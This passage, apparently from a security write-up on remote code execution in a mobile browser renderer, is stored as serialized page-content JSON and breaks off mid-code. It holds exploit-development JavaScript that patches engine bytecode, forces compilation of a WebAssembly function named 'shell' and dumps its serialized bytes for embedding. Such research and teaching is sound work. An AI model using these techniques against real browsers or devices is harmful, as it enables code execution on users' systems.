",{"type":23,"tag":56,"props":134938,"children":134940},{"className":134939},[],[134941],{"type":28,"value":131681},{"type":28,"value":320},{"type":23,"tag":494,"props":134944,"children":134946},{"code":134945,"language":34592,"meta":7,"className":34590,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134947],{"type":23,"tag":56,"props":134948,"children":134949},{"__ignoreMap":7},[134950,134961,135005,135025,135041,135064,135091,135106],{"type":23,"tag":504,"props":134951,"children":134952},{"class":506,"line":507},[134953,134957],{"type":23,"tag":504,"props":134954,"children":134955},{"style":544},[134956],{"type":28,"value":47311},{"type":23,"tag":504,"props":134958,"children":134959},{"style":523},[134960],{"type":28,"value":552},{"type":23,"tag":504,"props":134962,"children":134963},{"class":506,"line":540},[134964,134968,134972,134976,134980,134984,134988,134993,134997,135001],{"type":23,"tag":504,"props":134965,"children":134966},{"style":529},[134967],{"type":28,"value":131948},{"type":23,"tag":504,"props":134969,"children":134970},{"style":523},[134971],{"type":28,"value":75369},{"type":23,"tag":504,"props":134973,"children":134974},{"style":622},[134975],{"type":28,"value":131957},{"type":23,"tag":504,"props":134977,"children":134978},{"style":523},[134979],{"type":28,"value":320},{"type":23,"tag":504,"props":134981,"children":134982},{"style":517},[134983],{"type":28,"value":131966},{"type":23,"tag":504,"props":134985,"children":134986},{"style":523},[134987],{"type":28,"value":526},{"type":23,"tag":504,"props":134989,"children":134990},{"style":1440},[134991],{"type":28,"value":134992},"0x059301",{"type":23,"tag":504,"props":134994,"children":134995},{"style":598},[134996],{"type":28,"value":50234},{"type":23,"tag":504,"props":134998,"children":134999},{"style":1440},[135000],{"type":28,"value":3504},{"type":23,"tag":504,"props":135002,"children":135003},{"style":523},[135004],{"type":28,"value":131988},{"type":23,"tag":504,"props":135006,"children":135007},{"class":506,"line":555},[135008,135012,135016,135021],{"type":23,"tag":504,"props":135009,"children":135010},{"style":529},[135011],{"type":28,"value":131996},{"type":23,"tag":504,"props":135013,"children":135014},{"style":598},[135015],{"type":28,"value":7888},{"type":23,"tag":504,"props":135017,"children":135018},{"style":1440},[135019],{"type":28,"value":135020}," 0x03027a6c",{"type":23,"tag":504,"props":135022,"children":135023},{"style":523},[135024],{"type":28,"value":866},{"type":23,"tag":504,"props":135026,"children":135027},{"class":506,"line":633},[135028,135032,135037],{"type":23,"tag":504,"props":135029,"children":135030},{"style":544},[135031],{"type":28,"value":34178},{"type":23,"tag":504,"props":135033,"children":135034},{"style":1440},[135035],{"type":28,"value":135036}," 0x393e71a",{"type":23,"tag":504,"props":135038,"children":135039},{"style":523},[135040],{"type":28,"value":866},{"type":23,"tag":504,"props":135042,"children":135043},{"class":506,"line":687},[135044,135048,135052,135056,135060],{"type":23,"tag":504,"props":135045,"children":135046},{"style":523},[135047],{"type":28,"value":45853},{"type":23,"tag":504,"props":135049,"children":135050},{"style":544},[135051],{"type":28,"value":796},{"type":23,"tag":504,"props":135053,"children":135054},{"style":523},[135055],{"type":28,"value":801},{"type":23,"tag":504,"props":135057,"children":135058},{"style":529},[135059],{"type":28,"value":1231},{"type":23,"tag":504,"props":135061,"children":135062},{"style":523},[135063],{"type":28,"value":537},{"type":23,"tag":504,"props":135065,"children":135066},{"class":506,"line":736},[135067,135071,135075,135079,135083,135087],{"type":23,"tag":504,"props":135068,"children":135069},{"style":529},[135070],{"type":28,"value":100695},{"type":23,"tag":504,"props":135072,"children":135073},{"style":523},[135074],{"type":28,"value":320},{"type":23,"tag":504,"props":135076,"children":135077},{"style":517},[135078],{"type":28,"value":100704},{"type":23,"tag":504,"props":135080,"children":135081},{"style":523},[135082],{"type":28,"value":526},{"type":23,"tag":504,"props":135084,"children":135085},{"style":622},[135086],{"type":28,"value":132072},{"type":23,"tag":504,"props":135088,"children":135089},{"style":523},[135090],{"type":28,"value":630},{"type":23,"tag":504,"props":135092,"children":135093},{"class":506,"line":785},[135094,135098,135102],{"type":23,"tag":504,"props":135095,"children":135096},{"style":544},[135097],{"type":28,"value":132084},{"type":23,"tag":504,"props":135099,"children":135100},{"style":529},[135101],{"type":28,"value":132089},{"type":23,"tag":504,"props":135103,"children":135104},{"style":523},[135105],{"type":28,"value":866},{"type":23,"tag":504,"props":135107,"children":135108},{"class":506,"line":813},[135109],{"type":23,"tag":504,"props":135110,"children":135111},{"style":523},[135112],{"type":28,"value":884},{"type":23,"tag":24,"props":135114,"children":135115},{},[135116,135118,135124,135126,135132,135134,135140,135142,135147,135149,135155,135157,135162,135163,135169],{"type":28,"value":135117},"Here, ",{"type":23,"tag":56,"props":135119,"children":135121},{"className":135120},[],[135122],{"type":28,"value":135123},"a1 + 0x03027a6c",{"type":28,"value":135125}," generates the bytes ",{"type":23,"tag":56,"props":135127,"children":135129},{"className":135128},[],[135130],{"type":28,"value":135131},"01 4b 6c 7a 02 03",{"type":28,"value":135133},", where ",{"type":23,"tag":56,"props":135135,"children":135137},{"className":135136},[],[135138],{"type":28,"value":135139},"0x6c",{"type":28,"value":135141}," is the ",{"type":23,"tag":56,"props":135143,"children":135145},{"className":135144},[],[135146],{"type":28,"value":131665},{"type":28,"value":135148}," opcode, ",{"type":23,"tag":56,"props":135150,"children":135152},{"className":135151},[],[135153],{"type":28,"value":135154},"0x027a",{"type":28,"value":135156}," is the function ID of ",{"type":23,"tag":56,"props":135158,"children":135160},{"className":135159},[],[135161],{"type":28,"value":131707},{"type":28,"value":5471},{"type":23,"tag":56,"props":135164,"children":135166},{"className":135165},[],[135167],{"type":28,"value":135168},"0x03",{"type":28,"value":135170}," is the register index holding its first argument.",{"type":23,"tag":24,"props":135172,"children":135173},{},[135174,135176,135181,135182,135187,135189,135194],{"type":28,"value":135175},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":56,"props":135177,"children":135179},{"className":135178},[],[135180],{"type":28,"value":131707},{"type":28,"value":430},{"type":23,"tag":56,"props":135183,"children":135185},{"className":135184},[],[135186],{"type":28,"value":132675},{"type":28,"value":135188},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":56,"props":135190,"children":135192},{"className":135191},[],[135193],{"type":28,"value":132675},{"type":28,"value":135195},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":494,"props":135197,"children":135199},{"code":135198,"language":34592,"meta":7,"className":34590,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[135200],{"type":23,"tag":56,"props":135201,"children":135202},{"__ignoreMap":7},[135203,135211,135271,135283],{"type":23,"tag":504,"props":135204,"children":135205},{"class":506,"line":507},[135206],{"type":23,"tag":504,"props":135207,"children":135208},{"style":1106},[135209],{"type":28,"value":135210},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":504,"props":135212,"children":135213},{"class":506,"line":540},[135214,135218,135222,135226,135230,135234,135238,135242,135246,135250,135255,135259,135263,135267],{"type":23,"tag":504,"props":135215,"children":135216},{"style":544},[135217],{"type":28,"value":2369},{"type":23,"tag":504,"props":135219,"children":135220},{"style":523},[135221],{"type":28,"value":801},{"type":23,"tag":504,"props":135223,"children":135224},{"style":511},[135225],{"type":28,"value":10769},{"type":23,"tag":504,"props":135227,"children":135228},{"style":529},[135229],{"type":28,"value":2374},{"type":23,"tag":504,"props":135231,"children":135232},{"style":598},[135233],{"type":28,"value":648},{"type":23,"tag":504,"props":135235,"children":135236},{"style":1440},[135237],{"type":28,"value":2023},{"type":23,"tag":504,"props":135239,"children":135240},{"style":523},[135241],{"type":28,"value":16206},{"type":23,"tag":504,"props":135243,"children":135244},{"style":529},[135245],{"type":28,"value":2716},{"type":23,"tag":504,"props":135247,"children":135248},{"style":598},[135249],{"type":28,"value":7702},{"type":23,"tag":504,"props":135251,"children":135252},{"style":1440},[135253],{"type":28,"value":135254}," 0x100000",{"type":23,"tag":504,"props":135256,"children":135257},{"style":523},[135258],{"type":28,"value":16206},{"type":23,"tag":504,"props":135260,"children":135261},{"style":529},[135262],{"type":28,"value":2716},{"type":23,"tag":504,"props":135264,"children":135265},{"style":598},[135266],{"type":28,"value":50248},{"type":23,"tag":504,"props":135268,"children":135269},{"style":523},[135270],{"type":28,"value":537},{"type":23,"tag":504,"props":135272,"children":135273},{"class":506,"line":555},[135274,135279],{"type":23,"tag":504,"props":135275,"children":135276},{"style":517},[135277],{"type":28,"value":135278},"  func",{"type":23,"tag":504,"props":135280,"children":135281},{"style":523},[135282],{"type":28,"value":2647},{"type":23,"tag":504,"props":135284,"children":135285},{"class":506,"line":633},[135286],{"type":23,"tag":504,"props":135287,"children":135288},{"style":523},[135289],{"type":28,"value":884},{"type":23,"tag":24,"props":135291,"children":135292},{},[135293],{"type":28,"value":135294},"Finally, running this code on the device:",{"type":23,"tag":494,"props":135296,"children":135298},{"code":135297,"language":34592,"meta":7,"className":34590,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[135299],{"type":23,"tag":56,"props":135300,"children":135301},{"__ignoreMap":7},[135302,135325,135353,135572,135639,135646,135689,135732,135771,135778,135786,135846,135858,135865,135872,135903,135946,135973,135980,136016,136079],{"type":23,"tag":504,"props":135303,"children":135304},{"class":506,"line":507},[135305,135309,135313,135317,135321],{"type":23,"tag":504,"props":135306,"children":135307},{"style":523},[135308],{"type":28,"value":526},{"type":23,"tag":504,"props":135310,"children":135311},{"style":511},[135312],{"type":28,"value":35122},{"type":23,"tag":504,"props":135314,"children":135315},{"style":523},[135316],{"type":28,"value":38672},{"type":23,"tag":504,"props":135318,"children":135319},{"style":511},[135320],{"type":28,"value":13802},{"type":23,"tag":504,"props":135322,"children":135323},{"style":523},[135324],{"type":28,"value":552},{"type":23,"tag":504,"props":135326,"children":135327},{"class":506,"line":540},[135328,135333,135337,135341,135345,135349],{"type":23,"tag":504,"props":135329,"children":135330},{"style":511},[135331],{"type":28,"value":135332},"  var",{"type":23,"tag":504,"props":135334,"children":135335},{"style":529},[135336],{"type":28,"value":132205},{"type":23,"tag":504,"props":135338,"children":135339},{"style":598},[135340],{"type":28,"value":648},{"type":23,"tag":504,"props":135342,"children":135343},{"style":511},[135344],{"type":28,"value":30911},{"type":23,"tag":504,"props":135346,"children":135347},{"style":517},[135348],{"type":28,"value":132218},{"type":23,"tag":504,"props":135350,"children":135351},{"style":523},[135352],{"type":28,"value":132223},{"type":23,"tag":504,"props":135354,"children":135355},{"class":506,"line":555},[135356,135360,135364,135368,135372,135376,135380,135384,135388,135392,135396,135400,135404,135408,135412,135416,135420,135424,135428,135432,135436,135440,135444,135448,135452,135456,135460,135464,135468,135472,135476,135480,135484,135488,135492,135496,135500,135504,135508,135512,135516,135520,135524,135528,135532,135536,135540,135544,135548,135552,135556,135560,135564,135568],{"type":23,"tag":504,"props":135357,"children":135358},{"style":1440},[135359],{"type":28,"value":132948},{"type":23,"tag":504,"props":135361,"children":135362},{"style":523},[135363],{"type":28,"value":576},{"type":23,"tag":504,"props":135365,"children":135366},{"style":1440},[135367],{"type":28,"value":132240},{"type":23,"tag":504,"props":135369,"children":135370},{"style":523},[135371],{"type":28,"value":576},{"type":23,"tag":504,"props":135373,"children":135374},{"style":1440},[135375],{"type":28,"value":132249},{"type":23,"tag":504,"props":135377,"children":135378},{"style":523},[135379],{"type":28,"value":576},{"type":23,"tag":504,"props":135381,"children":135382},{"style":1440},[135383],{"type":28,"value":132258},{"type":23,"tag":504,"props":135385,"children":135386},{"style":523},[135387],{"type":28,"value":576},{"type":23,"tag":504,"props":135389,"children":135390},{"style":1440},[135391],{"type":28,"value":2991},{"type":23,"tag":504,"props":135393,"children":135394},{"style":523},[135395],{"type":28,"value":576},{"type":23,"tag":504,"props":135397,"children":135398},{"style":1440},[135399],{"type":28,"value":3001},{"type":23,"tag":504,"props":135401,"children":135402},{"style":523},[135403],{"type":28,"value":576},{"type":23,"tag":504,"props":135405,"children":135406},{"style":1440},[135407],{"type":28,"value":3001},{"type":23,"tag":504,"props":135409,"children":135410},{"style":523},[135411],{"type":28,"value":576},{"type":23,"tag":504,"props":135413,"children":135414},{"style":1440},[135415],{"type":28,"value":3001},{"type":23,"tag":504,"props":135417,"children":135418},{"style":523},[135419],{"type":28,"value":576},{"type":23,"tag":504,"props":135421,"children":135422},{"style":1440},[135423],{"type":28,"value":2991},{"type":23,"tag":504,"props":135425,"children":135426},{"style":523},[135427],{"type":28,"value":576},{"type":23,"tag":504,"props":135429,"children":135430},{"style":1440},[135431],{"type":28,"value":16508},{"type":23,"tag":504,"props":135433,"children":135434},{"style":523},[135435],{"type":28,"value":576},{"type":23,"tag":504,"props":135437,"children":135438},{"style":1440},[135439],{"type":28,"value":2991},{"type":23,"tag":504,"props":135441,"children":135442},{"style":523},[135443],{"type":28,"value":576},{"type":23,"tag":504,"props":135445,"children":135446},{"style":1440},[135447],{"type":28,"value":132323},{"type":23,"tag":504,"props":135449,"children":135450},{"style":523},[135451],{"type":28,"value":576},{"type":23,"tag":504,"props":135453,"children":135454},{"style":1440},[135455],{"type":28,"value":3001},{"type":23,"tag":504,"props":135457,"children":135458},{"style":523},[135459],{"type":28,"value":576},{"type":23,"tag":504,"props":135461,"children":135462},{"style":1440},[135463],{"type":28,"value":3001},{"type":23,"tag":504,"props":135465,"children":135466},{"style":523},[135467],{"type":28,"value":576},{"type":23,"tag":504,"props":135469,"children":135470},{"style":1440},[135471],{"type":28,"value":16275},{"type":23,"tag":504,"props":135473,"children":135474},{"style":523},[135475],{"type":28,"value":576},{"type":23,"tag":504,"props":135477,"children":135478},{"style":1440},[135479],{"type":28,"value":2100},{"type":23,"tag":504,"props":135481,"children":135482},{"style":523},[135483],{"type":28,"value":576},{"type":23,"tag":504,"props":135485,"children":135486},{"style":1440},[135487],{"type":28,"value":2991},{"type":23,"tag":504,"props":135489,"children":135490},{"style":523},[135491],{"type":28,"value":576},{"type":23,"tag":504,"props":135493,"children":135494},{"style":1440},[135495],{"type":28,"value":3001},{"type":23,"tag":504,"props":135497,"children":135498},{"style":523},[135499],{"type":28,"value":576},{"type":23,"tag":504,"props":135501,"children":135502},{"style":1440},[135503],{"type":28,"value":53649},{"type":23,"tag":504,"props":135505,"children":135506},{"style":523},[135507],{"type":28,"value":576},{"type":23,"tag":504,"props":135509,"children":135510},{"style":1440},[135511],{"type":28,"value":54864},{"type":23,"tag":504,"props":135513,"children":135514},{"style":523},[135515],{"type":28,"value":576},{"type":23,"tag":504,"props":135517,"children":135518},{"style":1440},[135519],{"type":28,"value":2991},{"type":23,"tag":504,"props":135521,"children":135522},{"style":523},[135523],{"type":28,"value":576},{"type":23,"tag":504,"props":135525,"children":135526},{"style":1440},[135527],{"type":28,"value":17089},{"type":23,"tag":504,"props":135529,"children":135530},{"style":523},[135531],{"type":28,"value":576},{"type":23,"tag":504,"props":135533,"children":135534},{"style":1440},[135535],{"type":28,"value":132249},{"type":23,"tag":504,"props":135537,"children":135538},{"style":523},[135539],{"type":28,"value":576},{"type":23,"tag":504,"props":135541,"children":135542},{"style":1440},[135543],{"type":28,"value":132420},{"type":23,"tag":504,"props":135545,"children":135546},{"style":523},[135547],{"type":28,"value":576},{"type":23,"tag":504,"props":135549,"children":135550},{"style":1440},[135551],{"type":28,"value":132429},{"type":23,"tag":504,"props":135553,"children":135554},{"style":523},[135555],{"type":28,"value":576},{"type":23,"tag":504,"props":135557,"children":135558},{"style":1440},[135559],{"type":28,"value":132438},{"type":23,"tag":504,"props":135561,"children":135562},{"style":523},[135563],{"type":28,"value":576},{"type":23,"tag":504,"props":135565,"children":135566},{"style":1440},[135567],{"type":28,"value":132438},{"type":23,"tag":504,"props":135569,"children":135570},{"style":523},[135571],{"type":28,"value":2484},{"type":23,"tag":504,"props":135573,"children":135574},{"class":506,"line":633},[135575,135579,135583,135587,135591,135595,135599,135603,135607,135611,135615,135619,135623,135627,135631,135635],{"type":23,"tag":504,"props":135576,"children":135577},{"style":1440},[135578],{"type":28,"value":132948},{"type":23,"tag":504,"props":135580,"children":135581},{"style":523},[135582],{"type":28,"value":576},{"type":23,"tag":504,"props":135584,"children":135585},{"style":1440},[135586],{"type":28,"value":3001},{"type":23,"tag":504,"props":135588,"children":135589},{"style":523},[135590],{"type":28,"value":576},{"type":23,"tag":504,"props":135592,"children":135593},{"style":1440},[135594],{"type":28,"value":88004},{"type":23,"tag":504,"props":135596,"children":135597},{"style":523},[135598],{"type":28,"value":576},{"type":23,"tag":504,"props":135600,"children":135601},{"style":1440},[135602],{"type":28,"value":16508},{"type":23,"tag":504,"props":135604,"children":135605},{"style":523},[135606],{"type":28,"value":576},{"type":23,"tag":504,"props":135608,"children":135609},{"style":1440},[135610],{"type":28,"value":2991},{"type":23,"tag":504,"props":135612,"children":135613},{"style":523},[135614],{"type":28,"value":576},{"type":23,"tag":504,"props":135616,"children":135617},{"style":1440},[135618],{"type":28,"value":2100},{"type":23,"tag":504,"props":135620,"children":135621},{"style":523},[135622],{"type":28,"value":576},{"type":23,"tag":504,"props":135624,"children":135625},{"style":1440},[135626],{"type":28,"value":3001},{"type":23,"tag":504,"props":135628,"children":135629},{"style":523},[135630],{"type":28,"value":576},{"type":23,"tag":504,"props":135632,"children":135633},{"style":1440},[135634],{"type":28,"value":132514},{"type":23,"tag":504,"props":135636,"children":135637},{"style":523},[135638],{"type":28,"value":2484},{"type":23,"tag":504,"props":135640,"children":135641},{"class":506,"line":687},[135642],{"type":23,"tag":504,"props":135643,"children":135644},{"style":523},[135645],{"type":28,"value":133235},{"type":23,"tag":504,"props":135647,"children":135648},{"class":506,"line":736},[135649,135653,135657,135661,135665,135669,135673,135677,135681,135685],{"type":23,"tag":504,"props":135650,"children":135651},{"style":511},[135652],{"type":28,"value":135332},{"type":23,"tag":504,"props":135654,"children":135655},{"style":529},[135656],{"type":28,"value":70373},{"type":23,"tag":504,"props":135658,"children":135659},{"style":598},[135660],{"type":28,"value":648},{"type":23,"tag":504,"props":135662,"children":135663},{"style":511},[135664],{"type":28,"value":30911},{"type":23,"tag":504,"props":135666,"children":135667},{"style":529},[135668],{"type":28,"value":132549},{"type":23,"tag":504,"props":135670,"children":135671},{"style":523},[135672],{"type":28,"value":320},{"type":23,"tag":504,"props":135674,"children":135675},{"style":517},[135676],{"type":28,"value":84670},{"type":23,"tag":504,"props":135678,"children":135679},{"style":523},[135680],{"type":28,"value":526},{"type":23,"tag":504,"props":135682,"children":135683},{"style":529},[135684],{"type":28,"value":132566},{"type":23,"tag":504,"props":135686,"children":135687},{"style":523},[135688],{"type":28,"value":630},{"type":23,"tag":504,"props":135690,"children":135691},{"class":506,"line":785},[135692,135696,135700,135704,135708,135712,135716,135720,135724,135728],{"type":23,"tag":504,"props":135693,"children":135694},{"style":511},[135695],{"type":28,"value":135332},{"type":23,"tag":504,"props":135697,"children":135698},{"style":529},[135699],{"type":28,"value":132582},{"type":23,"tag":504,"props":135701,"children":135702},{"style":598},[135703],{"type":28,"value":648},{"type":23,"tag":504,"props":135705,"children":135706},{"style":511},[135707],{"type":28,"value":30911},{"type":23,"tag":504,"props":135709,"children":135710},{"style":529},[135711],{"type":28,"value":132549},{"type":23,"tag":504,"props":135713,"children":135714},{"style":523},[135715],{"type":28,"value":320},{"type":23,"tag":504,"props":135717,"children":135718},{"style":517},[135719],{"type":28,"value":132603},{"type":23,"tag":504,"props":135721,"children":135722},{"style":523},[135723],{"type":28,"value":526},{"type":23,"tag":504,"props":135725,"children":135726},{"style":529},[135727],{"type":28,"value":132612},{"type":23,"tag":504,"props":135729,"children":135730},{"style":523},[135731],{"type":28,"value":630},{"type":23,"tag":504,"props":135733,"children":135734},{"class":506,"line":813},[135735,135739,135743,135747,135751,135755,135759,135763,135767],{"type":23,"tag":504,"props":135736,"children":135737},{"style":511},[135738],{"type":28,"value":135332},{"type":23,"tag":504,"props":135740,"children":135741},{"style":529},[135742],{"type":28,"value":78760},{"type":23,"tag":504,"props":135744,"children":135745},{"style":598},[135746],{"type":28,"value":648},{"type":23,"tag":504,"props":135748,"children":135749},{"style":529},[135750],{"type":28,"value":132582},{"type":23,"tag":504,"props":135752,"children":135753},{"style":523},[135754],{"type":28,"value":320},{"type":23,"tag":504,"props":135756,"children":135757},{"style":529},[135758],{"type":28,"value":36862},{"type":23,"tag":504,"props":135760,"children":135761},{"style":523},[135762],{"type":28,"value":320},{"type":23,"tag":504,"props":135764,"children":135765},{"style":529},[135766],{"type":28,"value":132652},{"type":23,"tag":504,"props":135768,"children":135769},{"style":523},[135770],{"type":28,"value":866},{"type":23,"tag":504,"props":135772,"children":135773},{"class":506,"line":851},[135774],{"type":23,"tag":504,"props":135775,"children":135776},{"emptyLinePlaceholder":16},[135777],{"type":28,"value":1038},{"type":23,"tag":504,"props":135779,"children":135780},{"class":506,"line":869},[135781],{"type":23,"tag":504,"props":135782,"children":135783},{"style":1106},[135784],{"type":28,"value":135785},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":504,"props":135787,"children":135788},{"class":506,"line":878},[135789,135794,135798,135802,135806,135810,135814,135818,135822,135826,135830,135834,135838,135842],{"type":23,"tag":504,"props":135790,"children":135791},{"style":544},[135792],{"type":28,"value":135793},"  for",{"type":23,"tag":504,"props":135795,"children":135796},{"style":523},[135797],{"type":28,"value":801},{"type":23,"tag":504,"props":135799,"children":135800},{"style":511},[135801],{"type":28,"value":10769},{"type":23,"tag":504,"props":135803,"children":135804},{"style":529},[135805],{"type":28,"value":2374},{"type":23,"tag":504,"props":135807,"children":135808},{"style":598},[135809],{"type":28,"value":648},{"type":23,"tag":504,"props":135811,"children":135812},{"style":1440},[135813],{"type":28,"value":2023},{"type":23,"tag":504,"props":135815,"children":135816},{"style":523},[135817],{"type":28,"value":16206},{"type":23,"tag":504,"props":135819,"children":135820},{"style":529},[135821],{"type":28,"value":2716},{"type":23,"tag":504,"props":135823,"children":135824},{"style":598},[135825],{"type":28,"value":7702},{"type":23,"tag":504,"props":135827,"children":135828},{"style":1440},[135829],{"type":28,"value":135254},{"type":23,"tag":504,"props":135831,"children":135832},{"style":523},[135833],{"type":28,"value":16206},{"type":23,"tag":504,"props":135835,"children":135836},{"style":529},[135837],{"type":28,"value":2716},{"type":23,"tag":504,"props":135839,"children":135840},{"style":598},[135841],{"type":28,"value":50248},{"type":23,"tag":504,"props":135843,"children":135844},{"style":523},[135845],{"type":28,"value":537},{"type":23,"tag":504,"props":135847,"children":135848},{"class":506,"line":1221},[135849,135854],{"type":23,"tag":504,"props":135850,"children":135851},{"style":517},[135852],{"type":28,"value":135853},"    func",{"type":23,"tag":504,"props":135855,"children":135856},{"style":523},[135857],{"type":28,"value":2647},{"type":23,"tag":504,"props":135859,"children":135860},{"class":506,"line":1276},[135861],{"type":23,"tag":504,"props":135862,"children":135863},{"style":523},[135864],{"type":28,"value":4855},{"type":23,"tag":504,"props":135866,"children":135867},{"class":506,"line":1285},[135868],{"type":23,"tag":504,"props":135869,"children":135870},{"emptyLinePlaceholder":16},[135871],{"type":28,"value":1038},{"type":23,"tag":504,"props":135873,"children":135874},{"class":506,"line":1294},[135875,135879,135883,135887,135891,135895,135899],{"type":23,"tag":504,"props":135876,"children":135877},{"style":511},[135878],{"type":28,"value":6838},{"type":23,"tag":504,"props":135880,"children":135881},{"style":529},[135882],{"type":28,"value":134688},{"type":23,"tag":504,"props":135884,"children":135885},{"style":598},[135886],{"type":28,"value":648},{"type":23,"tag":504,"props":135888,"children":135889},{"style":517},[135890],{"type":28,"value":134697},{"type":23,"tag":504,"props":135892,"children":135893},{"style":523},[135894],{"type":28,"value":526},{"type":23,"tag":504,"props":135896,"children":135897},{"style":529},[135898],{"type":28,"value":132612},{"type":23,"tag":504,"props":135900,"children":135901},{"style":523},[135902],{"type":28,"value":630},{"type":23,"tag":504,"props":135904,"children":135905},{"class":506,"line":1302},[135906,135910,135914,135918,135922,135926,135930,135934,135938,135942],{"type":23,"tag":504,"props":135907,"children":135908},{"style":529},[135909],{"type":28,"value":134733},{"type":23,"tag":504,"props":135911,"children":135912},{"style":598},[135913],{"type":28,"value":648},{"type":23,"tag":504,"props":135915,"children":135916},{"style":523},[135917],{"type":28,"value":801},{"type":23,"tag":504,"props":135919,"children":135920},{"style":544},[135921],{"type":28,"value":31893},{"type":23,"tag":504,"props":135923,"children":135924},{"style":529},[135925],{"type":28,"value":134688},{"type":23,"tag":504,"props":135927,"children":135928},{"style":523},[135929],{"type":28,"value":320},{"type":23,"tag":504,"props":135931,"children":135932},{"style":517},[135933],{"type":28,"value":56544},{"type":23,"tag":504,"props":135935,"children":135936},{"style":523},[135937],{"type":28,"value":134762},{"type":23,"tag":504,"props":135939,"children":135940},{"style":529},[135941],{"type":28,"value":38128},{"type":23,"tag":504,"props":135943,"children":135944},{"style":523},[135945],{"type":28,"value":866},{"type":23,"tag":504,"props":135947,"children":135948},{"class":506,"line":1311},[135949,135953,135957,135961,135965,135969],{"type":23,"tag":504,"props":135950,"children":135951},{"style":529},[135952],{"type":28,"value":100695},{"type":23,"tag":504,"props":135954,"children":135955},{"style":523},[135956],{"type":28,"value":320},{"type":23,"tag":504,"props":135958,"children":135959},{"style":517},[135960],{"type":28,"value":100704},{"type":23,"tag":504,"props":135962,"children":135963},{"style":523},[135964],{"type":28,"value":526},{"type":23,"tag":504,"props":135966,"children":135967},{"style":529},[135968],{"type":28,"value":8065},{"type":23,"tag":504,"props":135970,"children":135971},{"style":523},[135972],{"type":28,"value":630},{"type":23,"tag":504,"props":135974,"children":135975},{"class":506,"line":1334},[135976],{"type":23,"tag":504,"props":135977,"children":135978},{"emptyLinePlaceholder":16},[135979],{"type":28,"value":1038},{"type":23,"tag":504,"props":135981,"children":135982},{"class":506,"line":1370},[135983,135987,135992,135996,136000,136004,136008,136012],{"type":23,"tag":504,"props":135984,"children":135985},{"style":511},[135986],{"type":28,"value":6838},{"type":23,"tag":504,"props":135988,"children":135989},{"style":529},[135990],{"type":28,"value":135991}," result_bytes",{"type":23,"tag":504,"props":135993,"children":135994},{"style":598},[135995],{"type":28,"value":648},{"type":23,"tag":504,"props":135997,"children":135998},{"style":511},[135999],{"type":28,"value":30911},{"type":23,"tag":504,"props":136001,"children":136002},{"style":517},[136003],{"type":28,"value":132218},{"type":23,"tag":504,"props":136005,"children":136006},{"style":523},[136007],{"type":28,"value":526},{"type":23,"tag":504,"props":136009,"children":136010},{"style":529},[136011],{"type":28,"value":8065},{"type":23,"tag":504,"props":136013,"children":136014},{"style":523},[136015],{"type":28,"value":630},{"type":23,"tag":504,"props":136017,"children":136018},{"class":506,"line":1384},[136019,136023,136027,136031,136035,136039,136043,136047,136051,136055,136059,136063,136067,136071,136075],{"type":23,"tag":504,"props":136020,"children":136021},{"style":529},[136022],{"type":28,"value":100695},{"type":23,"tag":504,"props":136024,"children":136025},{"style":523},[136026],{"type":28,"value":320},{"type":23,"tag":504,"props":136028,"children":136029},{"style":517},[136030],{"type":28,"value":100704},{"type":23,"tag":504,"props":136032,"children":136033},{"style":523},[136034],{"type":28,"value":526},{"type":23,"tag":504,"props":136036,"children":136037},{"style":622},[136038],{"type":28,"value":132785},{"type":23,"tag":504,"props":136040,"children":136041},{"style":598},[136042],{"type":28,"value":7888},{"type":23,"tag":504,"props":136044,"children":136045},{"style":529},[136046],{"type":28,"value":135991},{"type":23,"tag":504,"props":136048,"children":136049},{"style":523},[136050],{"type":28,"value":320},{"type":23,"tag":504,"props":136052,"children":136053},{"style":517},[136054],{"type":28,"value":132802},{"type":23,"tag":504,"props":136056,"children":136057},{"style":523},[136058],{"type":28,"value":526},{"type":23,"tag":504,"props":136060,"children":136061},{"style":622},[136062],{"type":28,"value":132811},{"type":23,"tag":504,"props":136064,"children":136065},{"style":523},[136066],{"type":28,"value":2064},{"type":23,"tag":504,"props":136068,"children":136069},{"style":598},[136070],{"type":28,"value":1642},{"type":23,"tag":504,"props":136072,"children":136073},{"style":622},[136074],{"type":28,"value":132824},{"type":23,"tag":504,"props":136076,"children":136077},{"style":523},[136078],{"type":28,"value":630},{"type":23,"tag":504,"props":136080,"children":136081},{"class":506,"line":1392},[136082],{"type":23,"tag":504,"props":136083,"children":136084},{"style":523},[136085],{"type":28,"value":100736},{"type":23,"tag":24,"props":136087,"children":136088},{},[136089],{"type":28,"value":136090},"We get the serialized bytes:",{"type":23,"tag":24,"props":136092,"children":136093},{},[136094],{"type":23,"tag":126,"props":136095,"children":136098},{"alt":136096,"src":136097},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":136100,"children":136101},{},[136102,136104,136109],{"type":28,"value":136103},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":56,"props":136105,"children":136107},{"className":136106},[],[136108],{"type":28,"value":131681},{"type":28,"value":3472},{"type":23,"tag":494,"props":136111,"children":136113},{"code":136112,"language":34592,"meta":7,"className":34590,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new 